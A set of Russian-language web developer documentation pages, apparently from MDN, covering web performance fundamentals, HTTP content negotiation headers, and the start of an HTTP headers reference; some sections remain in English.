Основы производительности - Web Performance

Основы производительности
=========================

Английское слово Performance, которое используется в статьях о производительности приложений, также можно перевести, как "эффективность". Этот документ объясняет основы производительности, того как браузеры помогают улучшить её и какие инструменты и процессы вы можете использовать, чтобы её улучшить.

Что такое производительность?
-----------------------------

Ощущаемая пользователем "производительность" - это единственная производительность, которая имеет значение. Пользователи взаимодействуют с системой с помощью ввода каких-то данных: прикосновений, движения и речи. В ответ, они получают реакцию, основанную на зрительном, тактильном или слуховом аппаратах. Производительность - это качество того, как система реагирует на действия пользователя.

При прочих равных, код, оптимизированный для каких-то иных целей, кроме ощущаемой пользователем производительности (здесь и дальше UPP, user-perceived performance) всегда проигрывает коду, который оптимизирован для UPP. Упрощённо говоря, пользователи предпочитают отзывчивое и плавное приложение, которое обрабатывает 1,000 транзакций к базе данных в секунду грубому неотзывчивому приложению, которое обрабатывает 100,000,000 запросов в секунду. Конечно, это не означает, что другие метрики становятся ненужным, но первой вашей целью должна быть UPP.

Следующие разделы укажут и объяснят некоторые метрики производительности:

### Отзывчивость

Отзывчивость - это то, как быстро система предлагает ответ (или множество ответов) на запрос пользователя. Например, когда пользователь нажимает на экран, он ожидает, что пиксели под пальцем изменятся каким-то образом. Для этого случая взаимодействия хорошей метрикой будет время, которое прошло между моментом нажатия и изменением пикселей.

Отзывчивость иногда включает в себя несколько этапов. Запуск приложения - один из важнейших этапов. Мы обсудим его ниже.

Отзывчивость важна просто потому, что пользователи теряются и злятся, когда их игнорируют. Ваше приложение игнорирует пользователя каждую секунду, когда оно не отвечает на пользовательский ввод.

### Частота кадров

Частота кадров - это частота, с которой система перерисовывает пиксели, отображаемые пользователю. Это знакомая концепция: каждый предпочитает, скажем, игры, которые работают в режиме 60 кадров в секунду играм, которые работают с частотой 10 кадров в секунду. Даже если они не смогут объяснить причины этого.

Частота кадров важна примерно так же, как "качество обслуживания". Дисплеи устройств спроектированы так, чтобы обманывать глаза пользователей, доставляя фотоны света так, чтобы изображение было похожим на реальное. Например, бумага, покрытая напечатанными буквами, отражает фотоны определённым образом. Манипулируя рендерингом, приложения-читалки пытаются отправить фотоны похожим образом, обманывая глаза.

Ваш мозг знает, что движение - это не отрывчатый или дискретный процесс, а плавный и последовательный. Дисплей устройств с высокой частотой кадров сделаны просто для того, чтобы сделать эту иллюзию более реальной. (Интересно, что стробоскопы переворачивают эту концепцию, заставляя наш мозг создавать иллюзию дискретной реальности).

**Примечание:** люди обычно не могут почувствовать разницу между частотами кадров выше 60Hz. По этой причин большая часть современных электронных дисплеев спроектированы для обновления картинки с такой частотой. Однако, для некоторых живых существ такая частота кадров будет казаться замедленной. Например, для колибри.

### Использование памяти

Использование памяти - это отдельная ключевая метрика. В отличии от отзывчивости и частоты кадров, пользователи не могут напрямую почувствовать использование памяти, но её использование влияет на "состояние пользователя". Идеальная система будет поддерживать 100% состояния всех приложений всё время: все приложения будут запускаться одновременно, а каждое приложение будет возвращаться к состоянию, которое было в последний раз, когда пользователь с ним взаимодействовал (состояние приложения хранится в компьютерной памяти - поэтому это сравнение его с user state довольно точное).

Отсюда следует одно неочевидное заключение: **хорошо спроектированная система не заботится об увеличении свободной памяти.** **Память - это ресурс,** а свободная память - неиспользуемый ресурс. Наоборот, хорошо спроектированная система использует достаточно много памяти, чтобы обеспечить такое состояние, когда пользователь не чувствует изменений в производительности.

Это не означает, что система должна тратить память. Когда система использует больше памяти, чем это необходимо для поддержания состояния приложения - она тратит память. В этом случае, другое приложение (или даже другое состояние), которые могли бы использовать эту память - не могут её использовать. На практике, ни одна система не может поддерживать в памяти все состояния одновременно. Разумное распределение памяти, достаточное для поддержки состояния приложения - это важная проблема, которую мы рассмотрим позже.

### Использование энергии

Последний показатель, который нужно упомянуть - это потребление энергии. Подобно использованию памяти, пользователь чувствует потребление энергии опосредованно, отмечая время, через которое устройство начинает изменять воспринимаемую пользователем производительность (UPP). Для минимизации отрицательных эффектов использования энергии, мы должны делать систему экономной.

Для примера, вспомните, как работают мобильные устройства: вы можете включить режим энергосбережения, когда отключаются другие системы. Но есть и более жёсткий режим, который включается автоматически, когда заряд уменьшается до 5% - система включает троттлинг процессора, замедляя выполнение всех инструкций.

Всю оставшуюся часть статьи мы будем обсуждать производительность в свете этих показателей.

Оптимизация платформы
---------------------

В этой секции приводится краткий обзор того, как Firefox/Gecko вкладывается в производительность в целом, не заостряя внимание на конкретных приложениях. Для разработчиков и пользователей это будет ответ на вопрос "Как платформа помогает мне?".

### Web технологии

Web платформа предоставляет много инструментов, некоторые из которых лучше подходят для конкретных задач, а некоторые - хуже. Логика приложений пишется на JavaScript. Для отображения графики разработчики могут использовать HTML или CSS (т.е. используются высокоуровневые декларативные языки); разработчики также могут использовать низкоуровневые интерфейсы, доступные в `<canvas>` (включая WebGL). Где-то между HTML/CSS и Canvas лежит SVG, который предлагает некоторые преимущества обеих систем.

HTML и CSS значительно увеличивают производительность, иногда снижая частоту кадров и не давая контролировать каждый пиксель при рендере. Текст и изображения перерисовываются автоматически, UI-элементы автоматически получают системную тему, а система предоставляет некоторую "встроенную" поддержку для некоторых случаев, о которых разработчик может и не задумываться изначально. Например, отображение контента при разных разрешениях.

Элемент Холст (`canvas`) предоставляет прямой доступ к пиксельному буферу, где разработчик может рисовать.Это даёт разработчику возможность контролировать каждый пиксель во время рендеринга, точно контролировать частоту кадров; но тогда разработчик должен иметь в виду работу с большим количеством разрешений экранов и ориентаций; RTL языками и т.д. Разработчики, работающие напрямую с холстами, используют либо знакомое 2D API, либо API WebGL, достаточно "близкий к железу" и по большей части придерживающийся OpenGL ES 2.0.

**Примечание:** Firefox OS оптимизирована для работы с приложениями, основанными на Web технологиях: HTML, CSS, JavaScript и т.д. За исключением некоторых базовых служб операционной системы, весь код Firefox OS пришёл из Web приложений и движка Gecko. Даже оконный менеджер операционной системы написан на HTML, CSS и JavaScript. В связи с тем, что ядро операционной системы написано на этих технологиях, было критически важно соблюсти производительность этих технологий. В Firefox OS не может быть какого-то "запасного выхода". И это очень полезно для разработчиков, потому что теперь сторонние приложения могут использовать все преимущества оптимизации операционной системы. Не существует какого-то "магического зелья производительности", доступного только для предустановленных приложений.

См. Тестирование производительности Firefox OS для подробностей.

### Как рендерит Gecko

Движок Gecko JavaScript поддерживает just-in-time (JIT) компиляцию. Благодаря этому, логика приложения выполняется примерно так же, как это происходит в других приложениях на виртуальных машинах - например, Java Virtual Machines - а в некоторых случаях эффективность этих приложений близка к "нативному коду".

Инструменты, необходимые для работы с HTML, CSS и Canvas оптимизированы несколькими путями. Например, композиция (этап, известный как Layout) в HTML/CSS и код, отвечающий за графику в Gecko, сделаны таким образом, чтобы уменьшить количество операций ревалидации и перерисовки для общих случаев (например, скроллинг); эти оптимизации включены "по умолчанию", поэтому разработчики пользуются ими бесплатно. Буферы пикселей, отрисованных как для Gecko "автоматически", так и для `canvas` "вручную", минимизируют количество копий, которые передаются в буфер кадров дисплея. Чтобы достичь этого, Gecko старается избегать создания промежуточных слоёв (например, во многих других операционных системах создаются пиксельные фоновые буферы для каждого отдельного приложения), но взамен Gecko использует специальные участки памяти для хранения графических буферов. К этой памяти имеет прямой доступ железо, которое ответственно за формирование картинки. Сложные сцены рендерятся с использованием графического адаптера (видеокарты). А простые сцены, для экономии энергии, рендерятся специальным выделенным железом для композиции, в то время, как графический адаптер находится в режиме ожидания или выключен.

Для продвинутых приложений полностью статичный контент скорее является исключением, чем правилом. Такие приложения используют динамический контент, анимируемый с помощью `animation` и `transition`. Переходы и анимации особенно важны для приложений: разработчики могут использовать CSS для объявления сложного поведения с помощью простого высокоуровнего синтаксиса. С другой стороны, движок Gecko хорошо оптимизирован для того, чтобы рендерить такую анимацию эффективно. В целом, общепринятые анимации передаются к обработке системному компоновщику, который может отрендерить их в эффективном, энергосберегающем режиме.

Производительность запуска приложения так же важна, как и её текущая производительность. Gecko оптимизирован для того, чтобы загружать разнообразный контент эффективно: ведь Gecko впитал в себя опыт всего Web-а! Много лет Web улучшался, а разработчики улучшали его контент. Параллельный парсинг HTML, разумное выстраивание очереди перерисовки и декодирования изображений, умные алгоритмы компоновки и т.д.. Все эти оптимизации, конечно, улучшают и производительность Firefox OS.

**Примечание:** смотрите Тестирование производительности Firefox OS для дополнительной информации о Firefox OS спецификациях, которые помогают оптимизировать производительность запуска.

Производительность приложений
-----------------------------

Эта секция попытается ответить на вопрос "как сделать приложение быстрее?".

### Скорость загрузки

Загрузка приложения может быть поделена на три этапа, которые влияют на UPP:

* Первая отрисовка. Момент, когда приложение загрузило достаточно данных и ресурсов, чтобы отрисовать первый - начальный - кадр
* Начало интерактивности - например, когда пользователю становится доступна возможность нажать кнопку, а приложение может ему ответить
* Полная загрузка - например, когда все пользовательские альбомы перечислены в музыкальном плеере

Секрет быстрой загрузки требует двух вещей: UPP (ощущаемая пользователем скорость) - это единственное, что имеет значение; эта скорость зависит от критического пути рендеринга (Critical Rendering Path). Критический путь - это единственный и необходимый код, который должен запускать перечисленные выше события.

Например, отрисовка первого кадра, который содержит в себе необходимый HTML и CSS включает:

1. Браузер должен спарсить HTML
2. DOM должен быть построен для этого HTML
3. Ресурсы (изображения, видео и др.) для этой модели DOM должны быть загружены и декодированы
4. CSS стили должны быть применены к DOM и должен быть сформирован CSSOM
5. Стилизованный компонент должен быть подготовлен к рендеру

В этом списке вы не увидите "загрузить JS файл, который нужен для второстепенного меню", "забрать и декодировать изображения для списка достижений" и т.п. Эта работа не должна выполняться при запуске приложения.

Звучит очевидно, но для достижения лучшей воспринимаемой скорости загрузки нужно запускать только тот код, который необходим и критичен для запуска приложения. Короткий путь увеличивает скорость.

Web-платформа очень динамична. JavaScript - это динамически типизированный язык, а Web разрешает загружать код, HTML, CSS, изображения и другие ресурсы динамически. Эти функции могут быть использованы для того, чтобы отложить загрузку ресурсов; чтобы сократить критический путь, подвинув загрузку лишнего контента на несколько моментов позже. Такой подход называется "ленивой загрузкой".

Другая проблема, которая может привести к ненужному простою - это ожидание ответа на запросы (например, запрос к базе данных). Чтобы избегать этой проблемы, приложение должно запрашивать данные как можно раньше, ещё во время запуска программы. Тогда к моменту, когда данные понадобятся - они уже будут в системе и приложению не придётся ждать.

**Примечание:** Для дополнительной информации об ускорении запуска ознакомьтесь с Optimizing startup performance.

Следует также отметить, что ресурсы, закешированные локально, могут быть загружены гораздо быстрее, чем динамические данные, загруженные через мобильную сеть с её задержками или узким каналом. Локальное кеширование и работа в офлайне могут быть достигнуты с помощью Service Workers. См. Making PWAs work offline with Service workers (en-US) для подробностей.

### Частота кадров

Первая важная вещь для высокой частоты кадров - это выбор правильного инструмента. Используйте HTML и CSS для создания контента, который будет в основном статическим, прокручиваемым и редко анимируемым. Используйте Canvas для создания высокодинамичного контента, например, игр, которые требуют серьёзного контроля рендеринга и не нуждаются в темах.

При отрисовывании контента в Canvas, разработчик должен сам позаботиться о достижении целей по частоте кадров, ведь он получает полный контроль над всем, что отрисовывается.

При использовании HTML и CSS разработчику необходимо использовать правильные примитивы. Firefox очень хорошо оптимизирован для скролла любого контента. Обычно это не является проблемой. Но очень часто, разменивая качество и стабильность на скорость, мы идём на ухищрения, которые могут "переоптимизировать" страницу так, что частота кадров будет выше нужной нам. Так как глаз всё равно слабо различает FPS больше 60, нет необходимости в таких оптимизациях. Одна из таких оптимизаций - использование статического рендера вместо CSS-градиента. В некоторых случаях это излишне. Чтобы не применять оптимизацию, вы можете воспользоваться медиавыражениями (en-US), которые позволят использовать подобные решения только для конкретных устройств.

Множество приложений используют Transitions и Animations для перехода между страницами или панелями. Например, когда пользователь нажимает кнопку "Настройки", чтобы перейти на другой экран; или для вызова поп-апа. Firefox оптимизирован для выполнения переходов и анимаций для сцен, которые:

* Используют страницы/панели равные по размеру дисплею или меньше
* Используют для переходов/анимаций свойства `Transform` и `Opacity`

Переходы и анимации, которые придерживаются этих правил, будут выгружены в системный компоновщик и выполнены максимально эффективно.

### Использование памяти и энергии

Проблема улучшения использования памяти и энергии так же важна для ускорения запуска: не делайте ненужную работу и не загружайте ненужные ресурсы. Используйте эффективные структуры данных и уделяйте внимание оптимизации ресурсов.

Современные ЦПУ могут работать в режиме энергосбережения, когда они не задействованы. Приложения, которые постоянно запускают таймеры или продолжают ненужные анимации, мешают процессору перейти в режим энергосбережения. Эффективные приложения не должны так делать.

Когда приложение переходит в фоновый режим, срабатывает событие `visibilitychange (en-US)`. Это событие - друг разработчика. Приложения должны слушать его и реагировать на него. Например, в Firefox OS, приложения, которые умеют ограничивать использование ресурсов и экономят память, когда переходят в фоновый режим, с меньшей долей вероятности будут отключены (см. заметку ниже). Это, если посмотреть с другой стороны, означает, что раз приложение не было выгружено - оно будет быстрее загружено.

**Примечание:** Как было упомянуто выше, Firefox OS пытается сохранить как можно больше приложений, но иногда вынуждена приостанавливать некоторые из них. Обычно это происходит, когда у устройства заканчивается память. Чтобы узнать больше о том, как Firefox OS управляет памятью и избавляется от приложений, когда начинаются проблемы с памятью, читайте Debugging out of memory errors on Firefox OS.

### Советы к применению в коде

Следующие советы помогут вам улучшить один или несколько факторов производительности, которые мы обсуждали ранее.

#### Используйте CSS animation и transition

Вместо использования функции `animate()` какой-нибудь библиотеки, которая, вероятно, использует много плохих решений (например (`window.setTimeout()` (en-US) или анимирование top / left), используйте CSS-анимации (en-US). Во многих случаях, вы можете использовать CSS Transitions (en-US). Использование этих свойств поможет, так как браузер спроектирован так, чтобы оптимизировать эти эффекты и переносить часть вычислений на GPU, чтобы они работали плавно и с минимальным влиянием на процессор. Другое преимущество - вы можете определить эти анимации в CSS декларативным образом, а не в бизнес-логике приложения.

CSS-анимации дают вам очень точный контроль эффектов, если вы используете keyframes (en-US). Более того, вы сможете отслеживать события, которые происходят во время анимации, так как основной поток обработки не блокируется. Вы можете с лёгкостью запускать анимации с помощью `:hover`, `:focus` или `:target`. Или динамически добавляя или удаляя классы элемента.

Если вы хотите создавать анимации "на лету" или изменять их с помощью JavaScript, Джеймс Лонг написал простую библиотеку для этого - CSS-animations.js.

#### Используйте CSS трансформацию

Вместо того, чтобы изменять абсолютное позиционирование и возиться с этой математикой вручную, используйте свойство `transform`, чтобы изменить позицию, масштаб и некоторые другие аспекты вашего контента. Именно так вы используете аппаратное ускорение. Браузер умеет передавать такие задачи графическому процессору, давая возможность ЦПУ заняться другими важными вещами.

К тому же, трансформация даёт возможности, которых в ином случае у вас не было бы. Вы не только можете манипулировать элементом в двумерном пространстве, но можете трансформировать его в 3D, изменять его наклон (скашивать, skew), поворачивать и др. Пол Айриш опубликовал статью in-depth analysis of the benefits of `translate()`, в которой проанализировал работу translate с точки зрения производительности. Используя translate/transform вы используете правильный декларативный инструмент и возлагаете ответственность за его оптимизацию на браузер. Вы так же получаете возможность с лёгкостью позиционировать элементы. Если вы будете использовать только `top` и `left`, вам придётся написать некоторый дополнительный код, чтобы предусмотреть некоторые особенности такого позиционирования. И последний бонус - с Transform / Translate вы будете работать примерно так же, как работали бы с элементом `canvas`.

**Примечание:** В некоторых случаях (в зависимости от платформы) вам может понадобиться добавить свойство `translateZ(0.1)`, если вы хотите заставить клиента перенести вычисление анимаций на графический адаптер. Как было упомянуто выше, это может улучшить производительность, но увеличит потребление памяти. Какое из зол - меньшее - решать вам. Протестируйте оба варианта и выясните, что лучше подходит для вашего приложения.

#### Используйте `requestAnimationFrame()` вместо `setInterval()`

Вызовы `window.setInterval()` (en-US) запускают код с учётом предполагаемой частоты кадров. Однако, эта ожидаемая частота и фактическая не всегда совпадают. SetInternal говорит браузеру "нарисуй результаты", даже если браузер не занимается сейчас отрисовкой - такое случается, когда графический адаптер ещё не дошёл до следующего цикла обновления экрана. Такое несовпадение таймингов - чрезмерная растрата процессорного времени и даже может приводить к снижению срока службы аккумуляторов пользовательского устройств.

Вместо этого, вам необходимо использовать `window.requestAnimationFrame()`. Эта функция ждёт, пока клиент не будет готов к формированию следующего кадра анимации и не будет досаждать своими запросами аппаратную часть устройства, если устройство не занимается в данный момент рендерингом. Другое преимущество этого API в том, что такие анимации не будут запускаться, пока ваше приложение не видно на экране (например, если оно выполняется в фоне или занимается другими операциями). Это сохранит батарею и защитит вас от проклятий, которые пользователи будут выкрикивать в небо.

#### Делайте события мгновенными

Как старомодные, заботящиеся о доступности веб-разработчики, мы любим событие нажатия, так как оно также срабатывает и для ввода с клавиатуры. На мобильных устройствах это работает иначе. Вы должны использовать `touchstart (en-US)` и `touchend (en-US)`, а не click. Причина этому - в мобильных устройствах срабатывает задержка в несколько сотен миллисекунд между касанием экрана и запуском обработчика click. Из-за этого приложение может ощущаться медленным. Если вы будете тестировать ваше приложение на предмет работы с касаниями, вы не пожертвуете доступностью. Кроме того, существуют библиотеки, которые ускорят разработку. Например, Financial Times использует библиотеку fastclick для обработки.

#### Держите интерфейс простым

Одна из самых больших проблем, которую мы нашли в HTML5 приложениях, заключается в том, что перенос большого количества DOM (en-US) элементов делает приложение медленным - особенно, если в этих элементах много градиентов и теней. Упрощайте то, как выглядит ваше приложение и передвигайте проксирующий элемент, когда выполняете Drag And Drop - это сильно ускорит работу.

Когда, например, у вас есть большой список элементов (скажем, твитов), не перемещайте их все. Вместо этого, держите в вашем DOM-дереве только те элементы, которые видимы и несколько за областью видимости, чтобы при скролле не было заметно моргание. Остальные - прячьте. Сохраняйте данные в JavaScript объектах, вместо хранения данных и доступа к ним в DOM. Думайте об экране, как об устройстве представления необходимых данных, а не всех. Это не означает, что вы не можете использовать HTML, как источник данных; просто читайте его один раз, а затем продвигайтесь на 10 элементов, изменяя содержимое первого и последнего элемента, согласно их позициям в списке, вместо того, чтобы двигать 100 элементов, которые уже невидимы. Подобный трюк сработает и в играх со спрайтами: если они не видны на экране, нет необходимости запрашивать их. Вместо этого переиспользуйте элементы, которые выходят за пределы экрана, в то время как новые входят.

Общий анализ производительности
-------------------------------

Firefox, Chrome и другие браузеры предоставляют встроенные инструменты, которые могут помочь вам диагностировать медленный рендеринг. В частности, Firefox's Network Monitor покажет точное время, когда произошёл каждый сетевой запрос, насколько большим он был и как долго обрабатывался.

![The Firefox network monitor showing get requests, multiple files, and different times taken to load each resource on a graph.](/ru/docs/Web/Performance/Fundamentals/network-monitor.jpg)

Если на вашей странице есть JavaScript, который выполняется очень долго, JavaScript profiler (en-US) укажет на наиболее медленные строки кода.

![The Firefox JavaScript profiler showing a completed profile 1.](/ru/docs/Web/Performance/Fundamentals/javascript-profiler.png)

Встроенный Gecko Profiler - очень полезный инструмент, который позволяет вам получить ещё более подробную информацию о том, какие части кода работают медленно. Это довольно сложный инструмент, но он предоставляет множество деталей.

![A built-in Gecko profiler windows showing a lot of network information.](/ru/docs/Web/Performance/Fundamentals/gecko-profiler.png)

**Примечание:** вы можете использовать эти инструменты и в Android браузере, запустив Firefox и включив remote debugging.

Например, множественные сетевые запросы в мобильной сети занимают больше времени. Рендеринг больших изображений и CSS градиентов может происходить дольше. Простое скачивание больших изображений может занять большее время, даже через быструю сеть, так как аппаратная часть мобильных устройств зачастую слишком медленна, чтобы использовать все возможности быстрых каналов данных. Для получения полезных подсказок о производительности на мобильных устройствах, ознакомьтесь с докладом Максимилиано Фёртмана Mobile Web High Performance.

### Тестовые кейсы и сообщения об ошибках

Если инструменты разработчика в Firefox или Chrome не помогают вам выяснить проблему или выглядит так, что браузеры сами по себе создают проблему, попробуйте сформировать тестовое окружение, которое максимально изолирует проблему. Это очень часто помогать диагностировать проблему.

Убедитесь, что вы можете воспроизвести проблему, просто сохраняя и загружая статическую копию HTML-страницы (включая изображения/стили/скрипты). Если так - удалите из HTML файла всю личную информацию и обратитесь к за помощью (отправьте отчёт в Bugzilla или, например, сохраните файл на своём сервере и поделитесь ссылкой). Вам также понадобится поделиться информацией профилировщика, которую вы собрали с помощью инструментов отладки.


Согласование контента - HTTP

Согласование контента
=====================

В HTTP, ***согласование контента*** - это механизм используемый для отображения различных представлений ресурса по тому же URI, так чтобы клиент мог указать, что лучше подходит для пользователя (например, желаемый язык документа, формат изображения, или кодировку текста).

Принципы согласования контента
------------------------------

Конкретный документ называется *ресурсом*. Когда клиент хочет его получить, он запрашивает его используя его URL. Сервер использует этот URL, чтобы выбрать один из возможных вариантов - каждый вариант, называется *представлением*, – и возвращает этот вариант клиенту. Ресурс в общем, а также каждое из представлений, имеют определённый URL. Выбор конкретного представления при вызове ресурса определяется механизмом *согласования контента* и существует несколько способов согласования между клиентом и сервером.

![](/ru/docs/Web/HTTP/Content_negotiation/httpnego_ru.png)

Определение наиболее подходящего представления производится с помощью одного из двух механизмов:

* Конкретные HTTP-заголовки клиента (*согласование на основе сервера* или *упреждающее согласование*), что является стандартным способом согласования определённого вида ресурса.
* HTTP коды ответа `300` (Multiple Choices) или `406` (Not Acceptable) (*согласование на основе агента* или *реактивное согласование*), используемые в качестве резервных механизмов.

На протяжении многих лет предлагались и другие предложения по согласованию содержания, такие как *прозрачное согласование контента* и `Alternates` заголовок. Они не смогли получить достаточной поддержки и были заброшены.

Согласование на основе сервера
------------------------------

В *согласовании на стороне сервера* или *упреждающем согласовании*, браузер (или любое другое клиентское приложение) посылает несколько заголовков HTTP наряду с URL. Эти заголовки описывают предпочтения пользователя. Сервер использует их в качестве подсказок для внутреннего алгоритма, который выбирает наиболее подходящее представление ресурса, чтобы предоставить его клиенту. Реализация алгоритма в стандарт не входит и полностью зависит от сервера. Для примера, смотрите алгоритм согласования Apache 2.2.

![](/ru/docs/Web/HTTP/Content_negotiation/httpnegoserver.png)

Стандарт HTTP/1.1 определяет список стандартных заголовков которые используются в этом механизме согласования – (`Accept`, `Accept-Charset`, `Accept-Encoding` (en-US), `Accept-Language`). Хотя, строго говоря, `User-Agent` не находится в этом списке, в некоторых случаях он используется, чтобы послать определённое представление запрошенного ресурса, несмотря на то, что это и не является хорошей практикой. Сервер использует заголовок `Vary` чтобы обозначить, какие заголовки он использовал для согласования (точнее, ассоциированные с ними заголовки ответа), чтобы кеширование работало оптимально.

В дополнение к этим, есть предложение добавить больше заголовков в список доступным, так называемые Подсказки Клиента (Client Hints). Они будут предоставлять информацию о типе устройства на котором они используются (например, будет это настольный компьютер или мобильное устройство).

Согласование на стороне сервера является самым популярным способом согласования контента, но у него есть несколько недостатков:

* У сервера нет всей информации о клиентском приложении. Даже с расширением Client Hints сервер не может знать всех возможностей браузера. В отличие от реактивного согласования, где клиент совершает выбор, выбор сервера всегда остаётся в каком-то смысле произвольным.
* Информация, полученная от клиента, довольно подробная (сжатие заголовков протокола HTTP/2 отчасти решает эту проблему) и является источником утечки конфиденциальности (идентификация по HTTP).
* С увеличением количества представлений падает эффективность общих кешей и усложняется реализация сервера.
### Заголовок `Accept`

Заголовок `Accept` перечисляет MIME типы содержимого ресурса, которые клиент желает получить. Он представляет список MIME типов, разделённый запятыми, каждый из которых, опционально, снабжён коэффициентом желательности – параметром, определяющим относительный уровень желательности среди разных MIME типов.

`Accept` определяется браузером, или любым другим клиентом, и может изменяться в зависимости от контекста, например, при получении страницы HTML, изображения, видео или скрипта – его содержимое будет различаться при запросе документа из строки адреса, через тег `<img>`, `<video>` или `<audio>`. Браузеры могут использовать любое значение, которые они считают наиболее подходящим; можете ознакомиться со списком значений по умолчанию, используемых распространёнными браузерами.

### Заголовок `Accept-CH`
Экспериментальная возможность

**Примечание:** Перед вами **экспериментальная** технология под названием *Client Hints (Подсказки Клиента)*, реализуемая на данный момент только в Chrome 46 и более поздних версиях

Экспериментальный заголовок `Accept-CH` (en-US) перечисляет конфигурацию клиента, которая может быть использована сервером для выбора подходящего ответа. Определённые значения:

| Value | Meaning |
| --- | --- |
| `DPR` | Указывает соотношение логических пикселей к физическим на устройстве. |
| `Viewport-Width` | Указывает ширину окна отображения. |
| `Width` | Указывает ширину ресурса в физических пикселях (другими словами собственный размер изображения). |

### Заголовок `Accept-Charset`

Заголовок `Accept-Charset` указывает серверу какие кодировки текста поддерживает клиент. По традиции он имеет своё значение для каждой локали браузера, например, `ISO-8859-1,utf-8;q=0.7,*;q=0.7` установлен для западноевропейской локали.

В настоящее время, UTF-8 имеет серьёзную поддержку, является предпочтительным способом кодировки текста и гарантирует лучшую конфиденциальность за счёт уменьшения разнообразия конфигураций, поэтому большая часть браузеров пропускает заголовок `Accept-Charset`: Internet Explorer 8, Safari 5, Opera 11 и Firefox 10 отказались от этого заголовка в запросах.

### Заголовок `Accept-Encoding`

The `Accept-Encoding` (en-US) header defines the acceptable content-encoding (supported compressions). The value is a q-factor list (e.g.: `br, gzip;q=0.8`) that indicates the priority of the encoding values. The default value `identity` is at the lowest priority (unless otherwise declared).

Compressing HTTP messages is one of the most important ways to improve the performance of a Web site, it shrinks the size of the data transmitted and makes better use of the available bandwidth; browsers always send this header and the server should be configured to abide to it and to use compression.

### Заголовок `Accept-Language`

The `Accept-Language` header is used to indicate the language preference of the user. It is a list of values with quality factors (like: `"de, en;q=0.7`"). A default value is often set according the language of the graphical interface of the user agent, but most browsers allow to set different language preferences.

Due to the configuration-based entropy increase, a modified value can be used to fingerprint the user, it is not recommended to change it and a Web site cannot trust this value to reflect the actual wish of the user. Site designers must not be over-zealous by using language detection via this header as it can lead to a poor user experience:

* They should always provide a way to overcome the server-chosen language, e.g., by providing a language menu on the site. Most user-agents provide a default value for the `Accept-Language` header, adapted to the user interface language and end users often do not modify it, either by not knowing how, or by not being able to do it, as in an Internet café for instance.
* Once a user has overridden the server-chosen language, a site should no longer use language detection and should stick with the explicitly-chosen language. In other words, only entry pages of a site should select the proper language using this header.
### Заголовок `User-Agent`

**Примечание:** Though there are legitimate uses of this header for selecting content, it is considered bad practice (en-US) to rely on it to define what features are supported by the user agent.

The `User-Agent` header identifies the browser sending the request. This string may contain a space-separated list of *product tokens* and *comments*.

A *product token* is a name followed by a '`/`' and a version number, like `Firefox/4.0.1`. There may be as many of them as the user-agent wants. A *comment* is a free string delimited by parentheses. Obviously parentheses cannot be used in that string. The inner format of a comment is not defined by the standard, though several browser put several tokens in it, separated by '`;`'.

### The `Vary` response header

In opposition to the previous `Accept-*` headers which are sent by the client, the `Vary` HTTP header is sent by the web server in its response. It indicates the list of headers used by the server during the server-driven content negotiation phase. The header is needed in order to inform the cache of the decision criteria so that can reproduce it, allowing the cache to be functional while preventing serving erroneous content to the user.

The special value of '`*`' means that the server-driven content negotiation also uses information not conveyed in a header to choose the appropriate content.

The `Vary` header was added in the version 1.1 of HTTP and is necessary in order to allow caches to work appropriately. A cache, in order to work with agent-driven content negotiation, needs to know which criteria was used by the server to select the transmitted content. That way, the cache can replay the algorithm and will be able to serve acceptable content directly, without more request to the server. Obviously, the wildcard '`*`' prevents caching from occurring, as the cache cannot know what element is behind it.

Согласование на основе агента
-----------------------------

Server-driven negotiation suffers from a few downsides: it doesn't scale well. There is one header per feature used in the negotiation. If you want to use screen size, resolution or other dimensions, a new HTTP header must be created. Sending of the headers must be done on every request. This is not too problematic with few headers, but with the eventual multiplications of them, the message size would lead to a decrease in performance. The more precise headers are sent, the more entropy is sent, allowing for more HTTP fingerprinting and corresponding privacy concern.

From the beginnings of HTTP, the protocol allowed another negotiation type: *agent-driven negotiation* or *reactive negotiation*. In this negotiation, when facing an ambiguous request, the server sends back a page containing links to the available alternative resources. The user is presented the resources and choose the one to use.

![](/ru/docs/Web/HTTP/Content_negotiation/httpnego3.png)

Unfortunately, the HTTP standard does not specify the format of the page allowing to choose between the available resource, which prevents to easily automatize the process. Besides falling back to the *server-driven negotiation*, this method is almost always used in conjunction with scripting, especially with JavaScript redirection: after having checked for the negotiation criteria, the script performs the redirection. A second problem is that one more request is needed in order to fetch the real resource, slowing the availability of the resource to the user.


Заголовки HTTP - HTTP

Заголовки HTTP
==============

**Заголовки HTTP** позволяют клиенту и серверу отправлять дополнительную информацию с HTTP запросом или ответом. В HTTP-заголовке содержится не чувствительное к регистру название, а затем после (`:`) непосредственно значение. Пробелы перед значением игнорируются.

Пользовательские собственные заголовки исторически использовались с префиксом X, но это соглашение было объявлено устаревшим в июне 2012 года из-за неудобств, вызванных тем, что нестандартные поля стали стандартом в RFC 6648; другие перечислены в реестре IANA, исходное содержимое которого было определено в RFC 4229. IANA также поддерживает реестр предлагаемых новых заголовков HTTP.

HTTP-заголовки сопровождают обмен данными по протоколу HTTP. Они могут содержать описание данных и информацию, необходимую для взаимодействия между клиентом и сервером. Заголовки и их статусы перечислены в реестре IANA, который постоянно обновляется.

Заголовки могут быть сгруппированы по следующим контекстам:

* Основные заголовки применяется как к запросам, так и к ответам, но не имеет отношения к данным, передаваемым в теле.
* Заголовки запроса содержит больше информации о ресурсе, который нужно получить, или о клиенте, запрашивающем ресурс.
* Заголовки ответа (en-US) содержат дополнительную информацию об ответе, например его местонахождение, или о сервере, предоставившем его.
* Заголовки сущности содержат информацию о теле ресурса, например его длину содержимого или тип MIME (en-US).

Заголовки также могут быть сгруппированы согласно тому, как прокси (proxies) обрабатывают их:

* `Connection`
* `Keep-Alive` (en-US)
* `Proxy-Authenticate` (en-US)
* `Proxy-Authorization` (en-US)
* `TE` (en-US)
* `Trailer` (en-US)
* `Transfer-Encoding` (en-US)
* `Upgrade` (en-US).

**Сквозные заголовки**
 Эти заголовки должны быть переданы конечному получателю сообщения: серверу для запроса или клиенту для ответа. Промежуточные прокси-серверы должны повторно передавать эти заголовки без изменений, а кеши должны их хранить.

**Хоп-хоп заголовки (Хоп-хоп заголовки)**
 Эти заголовки имеют смысл только для одного соединения транспортного уровня и не должны повторно передаваться прокси или кешироваться. Обратите внимание, что с помощью общего заголовка `Connection` могут быть установлены только заголовки переходов.

Аутентификация
--------------

**`WWW-Authenticate` (en-US)**
 Определяет метод аутентификации, который должен использоваться для доступа к ресурсу.
 **`Authorization`**
 Содержит учётные данные для аутентификации агента пользователя на сервере.
 **`Proxy-Authenticate` (en-US)**
